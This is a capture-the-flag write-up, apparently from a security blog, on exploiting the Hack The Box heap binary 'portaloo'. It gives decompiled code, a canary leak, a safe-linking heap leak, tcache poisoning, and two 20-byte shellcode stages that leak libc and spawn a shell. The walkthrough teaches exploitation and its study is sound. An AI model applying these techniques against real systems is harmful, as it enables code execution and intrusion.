> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/binary-exploitation/htb-portaloo.md).

# HTB Portaloo

> A CTF heap challenge that throws the whole modern mitigation stack at you — Full RELRO, stack canary, NX, PIE, **and** CET (Shadow Stack + IBT) — and still falls to an RWX heap, tcache poisoning, and 21 bytes of shellcode at a time.

## TL;DR

`portaloo` is a menu-driven heap allocator ("portals"). It hands us:

1. A **use-after-free / double-free** (freed pointers are never nulled).
2. A **21-byte write** and a **21-byte read** into any live-or-freed portal.
3. A **stack canary leak** and a **stack buffer overflow** in `Step into the portal`.
4. And — critically — **`Create Portal` marks the heap page `rwx`**.

The RWX heap is the whole game. NX is defeated for free, so we don't need ROP. We leak the heap base via glibc safe-linking, poison the tcache so our next "upgrade" writes shellcode into a known heap address, then use the stack overflow to redirect execution into that shellcode. First-stage shellcode leaks libc through the GOT; second-stage calls `system("/bin/sh")`.

## First Inspection

I unzipped the binary and tried running it from within my emulated **lima** environment since I'm on an M4 Mac.

{% hint style="warning" %}
This is an **x86-64** challenge and needs to be emulated on any silicon chips (M1, M2, M3, M4). I'm on an M4, so I setup a lima environment to run it in. For setup instructions see [Setting up a lightweight x86-64 Lab Environment on Mac M4 - Lima 101](/breakpoint/binary-exploitation/setting-up-a-lightweight-x86-64-lab-environment-on-mac-m4-lima-101.md)
{% endhint %}

{% code title="" %}

```bash
lima@lima-pwn:~/pwn/portaloo$ ./portaloo
-=[ Portaloo ]=-
1. Create Portal
2. Destroy Portal
3. Upgrade Portal
4. Peek into the Void
5. Step into the portal
> 1
Insert portal number: 0
Allocated portal 0
-=[ Portaloo ]=-
1. Create Portal
2. Destroy Portal
3. Upgrade Portal
4. Peek into the Void
5. Step into the portal
> 3
Insert portal number: 0
Enter data: Hello world!
Portal upgraded.
-=[ Portaloo ]=-
1. Create Portal
2. Destroy Portal
3. Upgrade Portal
4. Peek into the Void
5. Step into the portal
> 4

Coordinate: 0 ---- Data: Hello world!

-=[ Portaloo ]=-
1. Create Portal
2. Destroy Portal
3. Upgrade Portal
4. Peek into the Void
5. Step into the portal
> 5

Before leaving this dimenson would you like to take anything with you?

+-------------------------------------------+
| Items available before entering the portal |
+-------------------------------------------+
| Toothbrush of Eternal Freshness           |
| Pocket Lighter of Infinite Flame          |
| Rubber Duck of Cosmic Wisdom              |
| Portable WiFi Router                      |
| Socks of Absolute Comfort                 |
| Banana Phone                              |
| Self-Refilling Water Bottle               |
| Notebook                                  |
+-------------------------------------------+

> poopy
[!] Amazing option choosing poopy

Any last words: more poopy

[!] Enjoy the void..
```

{% endcode %}

Seems like it just runs a regular REPL that acts as a sort of note-taking application. It can allocate buffers, a.k.a. 'portals', from the heap, write into those portals, read from them, and then delete them. The **Step into the portal** feature appears to just exit, however, it seems a little strange... we'll get more out of it by statically analyzing the binary.

## Reverse Engineering with Ghidra

Let's dig in with Ghidra! I've included the decompilation of the functions below- fortunately the author didn't strip anything, so the functions themselves are pretty easily decipherable.

<figure><img src="https://2618442973-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmGhYQRY1OEeL4zywZ9zS%2Fuploads%2FQ0FrzqJaeXwPRExfZDXM%2Fimage.png?alt=media&amp;token=8d629c5c-781a-4515-83ca-87b182d654eb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2618442973-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmGhYQRY1OEeL4zywZ9zS%2Fuploads%2FYTYd62yrI8m8y9Hbjztu%2Fimage.png?alt=media&amp;token=7d512b47-39fd-48bf-a104-c96e89941ebc" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="create\_portal" %}
{% code title="" %}

```c
void create_portal(void)

{
  uint uVar1;
  int iVar2;
  void *pvVar3;
  long in_FS_OFFSET;
  uint local_34;
  size_t local_30;
  void *local_28;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Insert portal number: ");
  __isoc99_scanf(&DAT_00102096,&local_34);
  uVar1 = local_34;
  if (((int)local_34 < 0) || (1 < (int)local_34)) {
    puts("Choose between 0 and 1");
  }
  else if (*(long *)(slots + (long)(int)local_34 * 8) == 0) {
    pvVar3 = malloc(0x20);
    *(void **)(slots + (long)(int)uVar1 * 8) = pvVar3;
    if (*(long *)(slots + (long)(int)local_34 * 8) == 0) {
      perror("malloc");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    printf("Allocated portal %d\n",(ulong)local_34);
    if (mprotect_called == 0) {
      local_30 = sysconf(0x1e);
      local_28 = (void *)(-local_30 & *(ulong *)(slots + (long)(int)local_34 * 8));
      iVar2 = mprotect(local_28,local_30,7);
      if (iVar2 == -1) {
        perror("mprotect");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      mprotect_called = 1;
    }
  }
  else {
    puts("Portals already in use.");
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

{% endcode %}
{% endtab %}

{% tab title="destroy\_portal" %}
{% code title="" %}

```c
void destroy_portal(void)
{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Insert portal number: ");
  __isoc99_scanf(&DAT_00102096,&local_14);
  if ((((int)local_14 < 0) || (1 < (int)local_14)) ||
     (*(long *)(slots + (long)(int)local_14 * 8) == 0)) {
    puts("Invalid portal number.");
  }
  else {
    free(*(void **)(slots + (long)(int)local_14 * 8));
    printf("Portal %d destroyed successfully!\n",(ulong)local_14);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

{% endcode %}
{% endtab %}

{% tab title="peek\_into\_the\_void" %}
{% code title="" %}

```c
void peek_into_the_void(void)
{
  uint i;
  
  for (i = 0; (int)i < 2; i = i + 1) {
    if (*(long *)(slots + (long)(int)i * 8) != 0) {
      printf("\nCoordinate: %d ---- Data: %.*s\n",(ulong)i,0x15,
             *(undefined8 *)(slots + (long)(int)i * 8));
    }
  }
  return;
}
```

{% endcode %}
{% endtab %}

{% tab title="step\_into\_the\_portal" %}
{% code title="" %}

```c
void step_into_the_portal(void)
{
  long in_FS_OFFSET;
  undefined1 local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  memset(local_58,0,0x48);
  puts("\nBefore leaving this dimenson would you like to take anything with you?\n");
  items();
  printf("\n> ");
  fflush(stdout);
  read(0,local_58,0x50);
  printf("[!] Amazing option choosing %s",local_58);
  memset(local_58,0,0x48);
  printf("\nAny last words: ");
  fflush(stdout);
  read(0,local_58,0x68);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

{% endcode %}
{% endtab %}

{% tab title="upgrade\_portal" %}
{% code title="" %}

```c
void upgrade_portal(void)
{
  long in_FS_OFFSET;
  int local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Insert portal number: ");
  __isoc99_scanf(&DAT_00102096,&local_14);
  if (((local_14 < 0) || (1 < local_14)) || (*(long *)(slots + (long)local_14 * 8) == 0)) {
    puts("Invalid portal number.");
  }
  else {
    printf("Enter data: ");
    read(0,*(void **)(slots + (long)local_14 * 8),0x15);
    puts("Portal upgraded.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

{% hint style="success" %}
Upon examining the source code it's clear we have some UAF bugs and a buffer overflow, however, we need to examine what protections we're up against before hacking away at it
{% endhint %}

## Binary Protections

You can use a binary, **checksec**, to examine what protections were enabled on the target binary.

```bash
lima@lima-pwn:~/pwn/portaloo$ checksec --file=portaloo
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   RW-RUNPATH   62 Symbols        No    0               3               portaloo
```

Let me talk myself through each mitigation, because it dictates strategy:

| Mitigation     | Effect on the exploit                                                                                                         |
| -------------- | ----------------------------------------------------------------------------------------------------------------------------- |
| **NX**         | Can't execute the stack. Normally this forces ROP, unless writable and executable memory exists elsewhere. (Spoiler: it does) |
| **Full RELRO** | The GOT is read-only. The classic GOT-overwrite trick is unavailable. We need another control-flow hijack.                    |
| **PIE**        | Every address is randomized. Nothing is usable until we leak a base.                                                          |
| **Canary**     | Clobbering it triggers `__stack_chk_fail`. We must **leak** the canary and **replay** it.                                     |

## Bug Hunting...

I've broken down the primitives that each function of portaloo allows:

```bash
lima@lima-pwn:~/pwn/portaloo$ ./portaloo
-=[ Portaloo ]=-
1. Create Portal          malloc(32), and mprotect the heap page to rwx
2. Destroy Portal         free(), but never nulls the slot pointer
3. Upgrade Portal         read(0, slot, 21)   — write even into freed chunks
4. Peek into the Void     printf("%.*s", 21, slot) — read even from freed chunks
5. Step into the portal   leak canary + stack overflow
```

There are two primary bugs that, combined, allow for remote code execution...

### Bug 1 — freed pointers are never cleared

`Destroy` frees the chunk but leaves the slot pointer intact, and every other option validates a slot with the same weak check:

```c
if (idx < 0 || idx > 1 || (&slots)[idx] == NULL) {
    puts("Invalid portal number.");
}
```

Because the pointer survives a free, a freed portal still "exists" as far as this check is concerned. That hands us:

* a **double free** (`Destroy` twice)
* a **UAF read** via `Peek`
* a **UAF write** via `Upgrade`.

Only two slots (`0` and `1`) can ever be allocated, and there's no way to null a slot, so our number of `malloc`-backed writes is limited — a constraint that shapes the whole exploit.

### Bug 2 — the leak-and-overflow in `Step`

```c
canary = *(long *)(in_FS_OFFSET + 0x28);
memset(&buf, 0, 72);
...
read(0, &buf, 80);                       // (A) 80 bytes into a 72-byte buffer
printf("[!] Amazing option choosing %s", &buf);   // (B) no null terminator?
memset(&buf, 0, 72);
...
read(0, &buf, 104);                      // (C) 104 bytes into a 72-byte buffer
if (canary != *(long *)(in_FS_OFFSET + 0x28))
    __stack_chk_fail();
```

`buf` is 72 bytes (`0x48`), sitting at `rbp-0x50`; the canary is at `rbp-0x8`, exactly `0x48` above the buffer.

* **(A)** reads up to 80 bytes into the 72-byte buffer. If I fill all 72 bytes, the 73rd byte (the trailing newline `read` accepts) lands on the canary's **least-significant byte**, which is normally `0x00`. Overwriting that null with `0x0a` means the following `printf("%s")` **doesn't stop** at the end of `buf` — it keeps printing up the stack and **leaks the 7 high canary bytes and the saved RBP**.
* **(C)** then reads 104 bytes into the same 72-byte buffer — a clean overflow of the canary, saved RBP, and the return address. Since we already know the canary, we replay it, restore RBP, and drop our target into the return slot.

The canary's low byte is always `0x00`, so I reconstruct the full value as `b'\x00' + leaked_7_bytes`.

## Building the primitives

### Step 1 — leak the heap base with safe-linking

glibc 2.32+ "safe-linking" mangles tcache/fastbin `fd` pointers:

```
mangled_fd = (chunk_addr >> 12) ^ real_fd
```

I set up the free list like this:

```c
create(0); create(1);   // two 0x30 chunks
destroy(0); destroy(1);  // tcache: head -> P1 -> P0
```

`P0` was freed first, so it's the tail of the list and its real `fd` is `NULL`. For a `NULL` real pointer the mangling collapses to:

```
mangled_fd = (chunk_addr >> 12) ^ 0 = chunk_addr >> 12
```

`Peek` reads `P0->fd` straight out, and since the chunk sits on the first heap page, `chunk_addr >> 12` is just `heap_base >> 12`. Shift back left by 12 and mask to 48 bits and I have the heap base:

```python
heap_base = (leak << 12) & 0xFFFFFFFFFFFF
```

From a trial run:

```
Leak1:    0x55f08b11a000     <- heap base (P0->fd, un-mangled)
Free:     0x55f08b11a290, size=0x30
Free:     0x55f08b11a2c0, size=0x30
bins 0x30 [2]: 0x55f08b11a2d0 -> 0x55f08b11a2a0
```

The two chunks live at `heap_base + 0x290` and `heap_base + 0x2c0`. Verified the mangling by hand:

```
real_next = mangled_fd ^ (chunk_addr >> 12)
0x55f5d41913ba ^ (0x55f08b11a2c0 >> 12) == 0x55f08b11a2a0   ✔
```

### Step 2 — poison the tcache into a known heap slot

Now the fun part. `Upgrade` writes 21 bytes into a *freed* chunk. Because that chunk is still linked in the tcache, I can **overwrite its `fd`** with a forged (mangled) pointer:

```
forged_fd = (chunk_addr >> 12) ^ target
```

Under normal tcache poisoning you'd force the next `malloc` to return `target`. But we can't allocate any more portals, so I use the poison differently: I write my **shellcode directly into the chunk's data** via `Upgrade` (21 bytes at a time), because the heap page is **RWX**. The chunk address is known, so I know exactly where the shellcode lives.

This is the constraint that dominates everything: **21 bytes per write.** Every stage of shellcode has to fit in 21 bytes or restart `main` and continue in a second pass.

> Why 21 and not the full 32-byte chunk? Writing further corrupts a byte the REPL depends on (a newline / null the input loop relies on) and the menu spins into an infinite loop. 21 is the ceiling.

### Step 3 — redirect execution with the stack overflow

With shellcode sitting at a known RWX heap address, I run `Step`:

1. Leak the canary and saved RBP via the missing-null-terminator trick (Bug 2A).
2. Overflow (Bug 2C) with `padding | canary | rbp | target`, where `target` is the heap address of my shellcode.

`ret` jumps into the heap. NX bypassed (RWX page), IBT not triggered (it's a `ret`, not an indirect branch), shadow stack not enforced by the runtime. We're executing our own code.

## Leaking libc from inside the shellcode

I still have no libc address. But when execution lands in my shellcode, the registers are conveniently populated from the surrounding code path:

* **`r13`** points at `main` in the PIE binary.
* **`r15`** points at `_rtld_global` (a loader address).

From the binary's disassembly and GOT dump, two constant offsets from `main`:

```
main + 0x25f6  ->  &free@GOT   (holds free's resolved libc address)
main - 0x842   ->  puts@PLT
```

(Both derived from `got -r`: `free@GOT` at `+0x25f6` from `main`, and the PLT thunk for `puts` at `-0x842`.)

So first-stage shellcode is a register-relative `puts(&free@GOT)` that then returns to `main` to loop again — all in **20 bytes**:

```nasm
push r13                 ; 16-byte stack alignment before the eventual syscall
push r13                 ; return target = main (puts will return here -> restart)
lea  rdi, [r13 + 0x25f6] ; rdi = &free@GOT
lea  r13, [r13 - 0x842]  ; r13 = puts@PLT
push r13                 ; call puts via ret
ret
```

`puts` prints the resolved address of `free`, giving a libc leak; then it returns into `main` and the menu comes back for round two.

> **False start worth recording.** My first attempt leaked `r15` directly, but `r15` pointed at `_rtld_global` in **ld**, not libc — a different mapping. Worse, `puts` dereferences its argument, so I was printing what `_rtld_global` *points to*, not the loader base. Chasing the ld offset (`leaked - 0x3b2e0`) got me a loader base, not a libc base. Going through the **GOT** instead — an address libc actually resolved — is what fixed it, and it reuses the `push main` I already needed for the return.

With the leak in hand:

```python
libc.address = leak - 0xa53e0     # free's offset in this libc build
```

## Popping the shell

Back at `main`, I poison + write a second 21-byte payload and fire `Step` again. Now everything is known, so it's just `system("/bin/sh")`.

A wrinkle: **x86-64 can't `push` a 64-bit immediate** — only a 32-bit one. To `push` a full 64-bit value you must stage it through a register. I lean on the fact that `system` and the `/bin/sh` string are at a fixed distance in libc, so I load `system` once and offset it to reach the string:

```nasm
mov  rdi, system         ; load system's address
push rdi                 ; stash system on the stack (return target)
push rdi                 ; keep 16-byte alignment
add  rdi, <binsh-system> ; rdi now points at "/bin/sh"
ret                      ; ret -> system, with rdi = "/bin/sh"
```

That's `system("/bin/sh")` in 20 bytes, alignment respected. `ret` pops `system` and jumps to it with `rdi` pointing at the string.

```
$ ./exploit.py REMOTE
[*] Switching to interactive mode
$ cat flag.txt
```

## Reflections

* **One RWX page rewrites the whole threat model.** Full RELRO + PIE + canary + CET is a wall — until `Create Portal` calls `mprotect(..., RWX)`. Suddenly NX is meaningless and shellcode beats ROP.
* **CET is only as strong as its enforcement.** IBT genuinely constrains you to `endbr64` targets on indirect branches, but a `ret`-based redirect sidesteps it, and an *advertised* shadow stack that the runtime doesn't enforce protects nothing.
* **Register spilling is a leak source.** No info-leak primitive for libc? The registers live at the moment you get control often hand you one for free — here `r13 = &main` bootstrapped both the GOT leak and the return-to-main loop.
* **Tight write windows are a design tool, not just an obstacle.** 21 bytes felt crippling until I treated `main` as a trampoline: leak in pass one, exploit in pass two.

## Appendix — mitigation cheat sheet

| Mitigation   | Intended block                 | How it fell                                            |
| ------------ | ------------------------------ | ------------------------------------------------------ |
| NX           | No shellcode                   | `Create` maps the heap RWX                             |
| Full RELRO   | No GOT overwrite               | We *read* the GOT for a libc leak instead              |
| PIE          | No fixed addresses             | Safe-linking heap leak + `r13=&main`                   |
| Canary       | No stack overflow              | Leaked via missing `%s` null terminator, then replayed |
| Shadow Stack | No return-addr overwrite       | Not enforced by the runtime                            |
| IBT          | No mid-function indirect jumps | Redirect is a `ret`, not an indirect branch            |
